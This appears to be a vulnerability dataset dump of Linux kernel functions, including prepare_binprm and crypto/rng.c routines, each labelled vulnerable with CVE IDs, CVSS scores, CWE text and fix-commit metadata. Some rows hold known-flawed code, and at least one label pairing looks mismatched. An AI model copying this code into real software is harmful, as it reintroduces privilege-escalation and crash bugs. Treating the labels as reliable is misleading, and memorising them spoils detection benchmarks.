perf_callchain_user_64
perf_callchain_user_64( struct perf_callchain_entry * entry , struct pt_regs * regs)
['entry', 'regs']
static void perf_callchain_user_64(struct perf_callchain_entry *entry, struct pt_regs *regs) { unsigned long sp, next_sp; unsigned long next_ip; unsigned long lr; long level = 0; struct signal_frame_64 __user *sigframe; unsigned long __user *fp, *uregs; next_ip = perf_instruction_pointer(regs); lr = regs->link; sp = regs->gpr[1]; perf_callchain_store(entry, next_ip); for (;;) { fp = (unsigned long __user *) sp; if (!valid_user_sp(sp, 1) || read_user_stack_64(fp, &next_sp)) return; if (level > 0 && read_user_stack_64(&fp[2], &next_ip)) return; /* * Note: the next_sp - sp >= signal frame size check * is true when next_sp < sp, which can happen when * transitioning from an alternate signal stack to the * normal stack. */ if (next_sp - sp >= sizeof(struct signal_frame_64) && (is_sigreturn_64_address(next_ip, sp) || (level <= 1 && is_sigreturn_64_address(lr, sp))) && sane_signal_64_frame(sp)) { /* * This looks like an signal frame */ sigframe = (struct signal_frame_64 __user *) sp; uregs = sigframe->uc.uc_mcontext.gp_regs; if (read_user_stack_64(&uregs[PT_NIP], &next_ip) || read_user_stack_64(&uregs[PT_LNK], &lr) || read_user_stack_64(&uregs[PT_R1], &sp)) return; level = 0; perf_callchain_store(entry, PERF_CONTEXT_USER); perf_callchain_store(entry, next_ip); continue; } if (level == 0) next_ip = lr; perf_callchain_store(entry, next_ip); ++level; sp = next_sp; } }
279
True
1
CVE-2015-3339
False
False
False
False
AV:L/AC:H/Au:N/C:C/I:C/A:C
LOCAL
HIGH
NONE
COMPLETE
COMPLETE
COMPLETE
6.2
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
[{'url': 'http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=8b01fc86b9f425899f8a3a8fc1c47d73c2c20543', 'name': 'http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=8b01fc86b9f425899f8a3a8fc1c47d73c2c20543', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'https://github.com/torvalds/linux/commit/8b01fc86b9f425899f8a3a8fc1c47d73c2c20543', 'name': 'https://github.com/torvalds/linux/commit/8b01fc86b9f425899f8a3a8fc1c47d73c2c20543', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.openwall.com/lists/oss-security/2015/04/20/5', 'name': '[oss-security] 20150420 Re: Linux: chown() was racy relative to execve() - Linux kernel', 'refsource': 'MLIST', 'tags': []}, {'url': 'http://www.kernel.org/pub/linux/kernel/v3.x/ChangeLog-3.19.6', 'name': 'http://www.kernel.org/pub/linux/kernel/v3.x/ChangeLog-3.19.6', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1214030', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1214030', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.debian.org/security/2015/dsa-3237', 'name': 'DSA-3237', 'refsource': 'DEBIAN', 'tags': []}, {'url': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinjan2016-2867209.html', 'name': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinjan2016-2867209.html', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinoct2015-2719645.html', 'name': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinoct2015-2719645.html', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-08/msg00038.html', 'name': 'SUSE-SU-2016:2074', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.fedoraproject.org/pipermail/package-announce/2015-May/157897.html', 'name': 'FEDORA-2015-7736', 'refsource': 'FEDORA', 'tags': []}, {'url': 'http://lists.fedoraproject.org/pipermail/package-announce/2015-May/158804.html', 'name': 'FEDORA-2015-8518', 'refsource': 'FEDORA', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-09/msg00011.html', 'name': 'SUSE-SU-2015:1491', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-09/msg00009.html', 'name': 'SUSE-SU-2015:1489', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-09/msg00008.html', 'name': 'SUSE-SU-2015:1488', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-09/msg00007.html', 'name': 'SUSE-SU-2015:1487', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-08/msg00011.html', 'name': 'openSUSE-SU-2015:1382', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2015-1272.html', 'name': 'RHSA-2015:1272', 'refsource': 'REDHAT', 'tags': []}, {'url': 'http://www.securitytracker.com/id/1032412', 'name': '1032412', 'refsource': 'SECTRACK', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-362'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '3.19.5', 'cpe_name': []}]}, {'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:debian:debian_linux:8.0:*:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:debian:debian_linux:7.0:*:*:*:*:*:*:*', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'Race condition in the prepare_binprm function in fs/exec.c in the Linux kernel before 3.19.6 allows local users to gain privileges by executing a setuid program at a time instant when a chown to root is in progress, and the ownership is changed but the setuid bit is not yet stripped.'}]
2016-12-31T02:59Z
2015-05-27T10:59Z
Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
The program contains a code sequence that can run concurrently with other code, and the code sequence requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence that is operating concurrently.
This can have security implications when the expected synchronization is in security-critical code, such as recording whether a user is authenticated or modifying important state information that should not be influenced by an outsider. A race condition occurs within concurrent environments, and is effectively a property of a code sequence. Depending on the context, a code sequence may be in the form of a function call, a small number of instructions, a series of program invocations, etc. A race condition violates these properties, which are closely related: Exclusivity - the code sequence is given exclusive access to the shared resource, i.e., no other code sequence can modify properties of the shared resource before the original sequence has completed execution. Atomicity - the code sequence is behaviorally atomic, i.e., no other thread or process can concurrently execute the same sequence of instructions (or a subset) against the same resource. A race condition exists when an "interfering code sequence" can still access the shared resource, violating exclusivity. Programmers may assume that certain code sequences execute too quickly to be affected by an interfering code sequence; when they are not, this violates atomicity. For example, the single "x++" statement may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read (the original value of x), followed by a computation (x+1), followed by a write (save the result to x). The interfering code sequence could be "trusted" or "untrusted." A trusted interfering code sequence occurs within the program; it cannot be modified by the attacker, and it can only be invoked indirectly. An untrusted interfering code sequence can be authored directly by the attacker, and typically it is external to the vulnerable program.
https://cwe.mitre.org/data/definitions/362.html
0
Jann Horn
2015-04-19 02:48:39+02:00
fs: take i_mutex during prepare_binprm for set[ug]id executables This prevents a race between chown() and execve(), where chowning a setuid-user binary to root would momentarily make the binary setuid root. This patch was mostly written by Linus Torvalds. Signed-off-by: Jann Horn <[email protected]> Signed-off-by: Linus Torvalds <[email protected]>
8b01fc86b9f425899f8a3a8fc1c47d73c2c20543
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
prepare_binprm
prepare_binprm( struct linux_binprm * bprm)
['bprm']
int prepare_binprm(struct linux_binprm *bprm) { struct inode *inode = file_inode(bprm->file); umode_t mode = inode->i_mode; int retval; /* clear any previous set[ug]id data from a previous binary */ bprm->cred->euid = current_euid(); bprm->cred->egid = current_egid(); if (!(bprm->file->f_path.mnt->mnt_flags & MNT_NOSUID) && !task_no_new_privs(current) && kuid_has_mapping(bprm->cred->user_ns, inode->i_uid) && kgid_has_mapping(bprm->cred->user_ns, inode->i_gid)) { /* Set-uid? */ if (mode & S_ISUID) { bprm->per_clear |= PER_CLEAR_ON_SETID; bprm->cred->euid = inode->i_uid; } /* Set-gid? */ /* * If setgid is set but no group execute bit then this * is a candidate for mandatory locking, not a setgid * executable. */ if ((mode & (S_ISGID | S_IXGRP)) == (S_ISGID | S_IXGRP)) { bprm->per_clear |= PER_CLEAR_ON_SETID; bprm->cred->egid = inode->i_gid; } } /* fill in binprm security blob */ retval = security_bprm_set_creds(bprm); if (retval) return retval; bprm->cred_prepared = 1; memset(bprm->buf, 0, BINPRM_BUF_SIZE); return kernel_read(bprm->file, 0, bprm->buf, BINPRM_BUF_SIZE); }
209
True
1
CVE-2017-15116
False
False
False
False
AV:L/AC:L/Au:N/C:N/I:N/A:C
LOCAL
LOW
NONE
NONE
NONE
COMPLETE
4.9
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
LOCAL
LOW
LOW
NONE
UNCHANGED
NONE
NONE
HIGH
5.5
MEDIUM
1.8
3.6
nan
[{'url': 'https://github.com/torvalds/linux/commit/94f1bb15bed84ad6c893916b7e7b9db6f1d7eec6', 'name': 'https://github.com/torvalds/linux/commit/94f1bb15bed84ad6c893916b7e7b9db6f1d7eec6', 'refsource': 'MISC', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1514609', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1514609', 'refsource': 'MISC', 'tags': ['Issue Tracking']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1485815', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1485815', 'refsource': 'MISC', 'tags': ['Issue Tracking', 'Permissions Required']}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=94f1bb15bed84ad6c893916b7e7b9db6f1d7eec6', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=94f1bb15bed84ad6c893916b7e7b9db6f1d7eec6', 'refsource': 'MISC', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'https://access.redhat.com/errata/RHSA-2018:1062', 'name': 'RHSA-2018:1062', 'refsource': 'REDHAT', 'tags': []}, {'url': 'https://access.redhat.com/errata/RHSA-2018:0676', 'name': 'RHSA-2018:0676', 'refsource': 'REDHAT', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-476'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndExcluding': '4.2', 'cpe_name': []}]}, {'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:redhat:enterprise_linux:7.0:*:*:*:*:*:*:*', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'The rngapi_reset function in crypto/rng.c in the Linux kernel before 4.2 allows attackers to cause a denial of service (NULL pointer dereference).'}]
2018-04-12T01:29Z
2017-11-30T18:29Z
NULL Pointer Dereference
A NULL pointer dereference occurs when the application dereferences a pointer that it expects to be valid, but is NULL, typically causing a crash or exit.
NULL pointer dereference issues can occur through a number of flaws, including race conditions, and simple programming omissions.
https://cwe.mitre.org/data/definitions/476.html
0
Herbert Xu
2015-04-21 10:46:46+08:00
crypto: rng - Remove old low-level rng interface Now that all rng implementations have switched over to the new interface, we can remove the old low-level interface. Signed-off-by: Herbert Xu <[email protected]>
94f1bb15bed84ad6c893916b7e7b9db6f1d7eec6
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
crypto_old_rng_alg
crypto_old_rng_alg( struct crypto_rng * tfm)
['tfm']
static inline struct old_rng_alg *crypto_old_rng_alg(struct crypto_rng *tfm) { return &crypto_rng_tfm(tfm)->__crt_alg->cra_rng; }
20
True
1
CVE-2017-15116
False
False
False
False
AV:L/AC:L/Au:N/C:N/I:N/A:C
LOCAL
LOW
NONE
NONE
NONE
COMPLETE
4.9
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
LOCAL
LOW
LOW
NONE
UNCHANGED
NONE
NONE
HIGH
5.5
MEDIUM
1.8
3.6
nan
[{'url': 'https://github.com/torvalds/linux/commit/94f1bb15bed84ad6c893916b7e7b9db6f1d7eec6', 'name': 'https://github.com/torvalds/linux/commit/94f1bb15bed84ad6c893916b7e7b9db6f1d7eec6', 'refsource': 'MISC', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1514609', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1514609', 'refsource': 'MISC', 'tags': ['Issue Tracking']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1485815', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1485815', 'refsource': 'MISC', 'tags': ['Issue Tracking', 'Permissions Required']}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=94f1bb15bed84ad6c893916b7e7b9db6f1d7eec6', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=94f1bb15bed84ad6c893916b7e7b9db6f1d7eec6', 'refsource': 'MISC', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'https://access.redhat.com/errata/RHSA-2018:1062', 'name': 'RHSA-2018:1062', 'refsource': 'REDHAT', 'tags': []}, {'url': 'https://access.redhat.com/errata/RHSA-2018:0676', 'name': 'RHSA-2018:0676', 'refsource': 'REDHAT', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-476'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndExcluding': '4.2', 'cpe_name': []}]}, {'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:redhat:enterprise_linux:7.0:*:*:*:*:*:*:*', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'The rngapi_reset function in crypto/rng.c in the Linux kernel before 4.2 allows attackers to cause a denial of service (NULL pointer dereference).'}]
2018-04-12T01:29Z
2017-11-30T18:29Z
NULL Pointer Dereference
A NULL pointer dereference occurs when the application dereferences a pointer that it expects to be valid, but is NULL, typically causing a crash or exit.
NULL pointer dereference issues can occur through a number of flaws, including race conditions, and simple programming omissions.
https://cwe.mitre.org/data/definitions/476.html
0
Herbert Xu
2015-04-21 10:46:46+08:00
crypto: rng - Remove old low-level rng interface Now that all rng implementations have switched over to the new interface, we can remove the old low-level interface. Signed-off-by: Herbert Xu <[email protected]>
94f1bb15bed84ad6c893916b7e7b9db6f1d7eec6
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
crypto_rng_init_tfm
crypto_rng_init_tfm( struct crypto_tfm * tfm)
['tfm']
static int crypto_rng_init_tfm(struct crypto_tfm *tfm) { struct crypto_rng *rng = __crypto_rng_cast(tfm); struct rng_alg *alg = crypto_rng_alg(rng); struct old_rng_alg *oalg = crypto_old_rng_alg(rng); if (oalg->rng_make_random) { rng->generate = generate; rng->seed = rngapi_reset; rng->seedsize = oalg->seedsize; return 0; } rng->generate = alg->generate; rng->seed = alg->seed; rng->seedsize = alg->seedsize; return 0; }
97
True
1
CVE-2017-15116
False
False
False
False
AV:L/AC:L/Au:N/C:N/I:N/A:C
LOCAL
LOW
NONE
NONE
NONE
COMPLETE
4.9
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
LOCAL
LOW
LOW
NONE
UNCHANGED
NONE
NONE
HIGH
5.5
MEDIUM
1.8
3.6
nan
[{'url': 'https://github.com/torvalds/linux/commit/94f1bb15bed84ad6c893916b7e7b9db6f1d7eec6', 'name': 'https://github.com/torvalds/linux/commit/94f1bb15bed84ad6c893916b7e7b9db6f1d7eec6', 'refsource': 'MISC', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1514609', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1514609', 'refsource': 'MISC', 'tags': ['Issue Tracking']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1485815', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1485815', 'refsource': 'MISC', 'tags': ['Issue Tracking', 'Permissions Required']}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=94f1bb15bed84ad6c893916b7e7b9db6f1d7eec6', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=94f1bb15bed84ad6c893916b7e7b9db6f1d7eec6', 'refsource': 'MISC', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'https://access.redhat.com/errata/RHSA-2018:1062', 'name': 'RHSA-2018:1062', 'refsource': 'REDHAT', 'tags': []}, {'url': 'https://access.redhat.com/errata/RHSA-2018:0676', 'name': 'RHSA-2018:0676', 'refsource': 'REDHAT', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-476'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndExcluding': '4.2', 'cpe_name': []}]}, {'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:redhat:enterprise_linux:7.0:*:*:*:*:*:*:*', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'The rngapi_reset function in crypto/rng.c in the Linux kernel before 4.2 allows attackers to cause a denial of service (NULL pointer dereference).'}]
2018-04-12T01:29Z
2017-11-30T18:29Z
NULL Pointer Dereference
A NULL pointer dereference occurs when the application dereferences a pointer that it expects to be valid, but is NULL, typically causing a crash or exit.
NULL pointer dereference issues can occur through a number of flaws, including race conditions, and simple programming omissions.
https://cwe.mitre.org/data/definitions/476.html
0
Herbert Xu
2015-04-21 10:46:46+08:00
crypto: rng - Remove old low-level rng interface Now that all rng implementations have switched over to the new interface, we can remove the old low-level interface. Signed-off-by: Herbert Xu <[email protected]>
94f1bb15bed84ad6c893916b7e7b9db6f1d7eec6
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
crypto_rng_reset
crypto_rng_reset( struct crypto_rng * tfm , const u8 * seed , unsigned int slen)
['tfm', 'seed', 'slen']
int crypto_rng_reset(struct crypto_rng *tfm, const u8 *seed, unsigned int slen) { u8 *buf = NULL; int err; if (!seed && slen) { buf = kmalloc(slen, GFP_KERNEL); if (!buf) return -ENOMEM; get_random_bytes(buf, slen); seed = buf; } err = tfm->seed(tfm, seed, slen); kfree(buf); return err; }
86
True
1
CVE-2017-15116
False
False
False
False
AV:L/AC:L/Au:N/C:N/I:N/A:C
LOCAL
LOW
NONE
NONE
NONE
COMPLETE
4.9
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
LOCAL
LOW
LOW
NONE
UNCHANGED
NONE
NONE
HIGH
5.5
MEDIUM
1.8
3.6
nan
[{'url': 'https://github.com/torvalds/linux/commit/94f1bb15bed84ad6c893916b7e7b9db6f1d7eec6', 'name': 'https://github.com/torvalds/linux/commit/94f1bb15bed84ad6c893916b7e7b9db6f1d7eec6', 'refsource': 'MISC', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1514609', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1514609', 'refsource': 'MISC', 'tags': ['Issue Tracking']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1485815', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1485815', 'refsource': 'MISC', 'tags': ['Issue Tracking', 'Permissions Required']}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=94f1bb15bed84ad6c893916b7e7b9db6f1d7eec6', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=94f1bb15bed84ad6c893916b7e7b9db6f1d7eec6', 'refsource': 'MISC', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'https://access.redhat.com/errata/RHSA-2018:1062', 'name': 'RHSA-2018:1062', 'refsource': 'REDHAT', 'tags': []}, {'url': 'https://access.redhat.com/errata/RHSA-2018:0676', 'name': 'RHSA-2018:0676', 'refsource': 'REDHAT', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-476'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndExcluding': '4.2', 'cpe_name': []}]}, {'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:redhat:enterprise_linux:7.0:*:*:*:*:*:*:*', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'The rngapi_reset function in crypto/rng.c in the Linux kernel before 4.2 allows attackers to cause a denial of service (NULL pointer dereference).'}]
2018-04-12T01:29Z
2017-11-30T18:29Z
NULL Pointer Dereference
A NULL pointer dereference occurs when the application dereferences a pointer that it expects to be valid, but is NULL, typically causing a crash or exit.
NULL pointer dereference issues can occur through a number of flaws, including race conditions, and simple programming omissions.
https://cwe.mitre.org/data/definitions/476.html
0
Herbert Xu
2015-04-21 10:46:46+08:00
crypto: rng - Remove old low-level rng interface Now that all rng implementations have switched over to the new interface, we can remove the old low-level interface. Signed-off-by: Herbert Xu <[email protected]>
94f1bb15bed84ad6c893916b7e7b9db6f1d7eec6
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
generate
generate( struct crypto_rng * tfm , const u8 * src , unsigned int slen , u8 * dst , unsigned int dlen)
['tfm', 'src', 'slen', 'dst', 'dlen']
static int generate(struct crypto_rng *tfm, const u8 *src, unsigned int slen, u8 *dst, unsigned int dlen) { return crypto_old_rng_alg(tfm)->rng_make_random(tfm, dst, dlen); }
41
True
1
CVE-2017-15116
False
False
False
False
AV:L/AC:L/Au:N/C:N/I:N/A:C
LOCAL
LOW
NONE
NONE
NONE
COMPLETE
4.9
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
LOCAL
LOW
LOW
NONE
UNCHANGED
NONE
NONE
HIGH
5.5
MEDIUM
1.8
3.6
nan
[{'url': 'https://github.com/torvalds/linux/commit/94f1bb15bed84ad6c893916b7e7b9db6f1d7eec6', 'name': 'https://github.com/torvalds/linux/commit/94f1bb15bed84ad6c893916b7e7b9db6f1d7eec6', 'refsource': 'MISC', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1514609', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1514609', 'refsource': 'MISC', 'tags': ['Issue Tracking']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1485815', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1485815', 'refsource': 'MISC', 'tags': ['Issue Tracking', 'Permissions Required']}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=94f1bb15bed84ad6c893916b7e7b9db6f1d7eec6', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=94f1bb15bed84ad6c893916b7e7b9db6f1d7eec6', 'refsource': 'MISC', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'https://access.redhat.com/errata/RHSA-2018:1062', 'name': 'RHSA-2018:1062', 'refsource': 'REDHAT', 'tags': []}, {'url': 'https://access.redhat.com/errata/RHSA-2018:0676', 'name': 'RHSA-2018:0676', 'refsource': 'REDHAT', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-476'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndExcluding': '4.2', 'cpe_name': []}]}, {'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:redhat:enterprise_linux:7.0:*:*:*:*:*:*:*', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'The rngapi_reset function in crypto/rng.c in the Linux kernel before 4.2 allows attackers to cause a denial of service (NULL pointer dereference).'}]
2018-04-12T01:29Z
2017-11-30T18:29Z
NULL Pointer Dereference
A NULL pointer dereference occurs when the application dereferences a pointer that it expects to be valid, but is NULL, typically causing a crash or exit.
NULL pointer dereference issues can occur through a number of flaws, including race conditions, and simple programming omissions.
https://cwe.mitre.org/data/definitions/476.html
0
Herbert Xu
2015-04-21 10:46:46+08:00
crypto: rng - Remove old low-level rng interface Now that all rng implementations have switched over to the new interface, we can remove the old low-level interface. Signed-off-by: Herbert Xu <[email protected]>
94f1bb15bed84ad6c893916b7e7b9db6f1d7eec6
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
rngapi_reset
rngapi_reset( struct crypto_rng * tfm , const u8 * seed , unsigned int slen)
['tfm', 'seed', 'slen']
static int rngapi_reset(struct crypto_rng *tfm, const u8 *seed, unsigned int slen) { u8 *buf = NULL; u8 *src = (u8 *)seed; int err; if (slen) { buf = kmalloc(slen, GFP_KERNEL); if (!buf) return -ENOMEM; memcpy(buf, seed, slen); src = buf; } err = crypto_old_rng_alg(tfm)->rng_reset(tfm, src, slen); kzfree(buf); return err; }
98
True
1
CVE-2017-15116
False
False
False
False
AV:L/AC:L/Au:N/C:N/I:N/A:C
LOCAL
LOW
NONE
NONE
NONE
COMPLETE
4.9
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
LOCAL
LOW
LOW
NONE
UNCHANGED
NONE
NONE
HIGH
5.5
MEDIUM
1.8
3.6
nan
[{'url': 'https://github.com/torvalds/linux/commit/94f1bb15bed84ad6c893916b7e7b9db6f1d7eec6', 'name': 'https://github.com/torvalds/linux/commit/94f1bb15bed84ad6c893916b7e7b9db6f1d7eec6', 'refsource': 'MISC', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1514609', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1514609', 'refsource': 'MISC', 'tags': ['Issue Tracking']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1485815', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1485815', 'refsource': 'MISC', 'tags': ['Issue Tracking', 'Permissions Required']}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=94f1bb15bed84ad6c893916b7e7b9db6f1d7eec6', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=94f1bb15bed84ad6c893916b7e7b9db6f1d7eec6', 'refsource': 'MISC', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'https://access.redhat.com/errata/RHSA-2018:1062', 'name': 'RHSA-2018:1062', 'refsource': 'REDHAT', 'tags': []}, {'url': 'https://access.redhat.com/errata/RHSA-2018:0676', 'name': 'RHSA-2018:0676', 'refsource': 'REDHAT', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-476'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndExcluding': '4.2', 'cpe_name': []}]}, {'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:redhat:enterprise_linux:7.0:*:*:*:*:*:*:*', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'The rngapi_reset function in crypto/rng.c in the Linux kernel before 4.2 allows attackers to cause a denial of service (NULL pointer dereference).'}]
2018-04-12T01:29Z
2017-11-30T18:29Z
NULL Pointer Dereference
A NULL pointer dereference occurs when the application dereferences a pointer that it expects to be valid, but is NULL, typically causing a crash or exit.
NULL pointer dereference issues can occur through a number of flaws, including race conditions, and simple programming omissions.
https://cwe.mitre.org/data/definitions/476.html
0
Herbert Xu
2015-04-21 10:46:46+08:00
crypto: rng - Remove old low-level rng interface Now that all rng implementations have switched over to the new interface, we can remove the old low-level interface. Signed-off-by: Herbert Xu <[email protected]>
94f1bb15bed84ad6c893916b7e7b9db6f1d7eec6
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
seedsize
seedsize( struct crypto_alg * alg)
['alg']
static unsigned int seedsize(struct crypto_alg *alg) { struct rng_alg *ralg = container_of(alg, struct rng_alg, base); return alg->cra_rng.rng_make_random ? alg->cra_rng.seedsize : ralg->seedsize; }
41
True
1
CVE-2017-15116
False
False
False
False
AV:L/AC:L/Au:N/C:N/I:N/A:C
LOCAL
LOW
NONE
NONE
NONE
COMPLETE
4.9
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
LOCAL
LOW
LOW
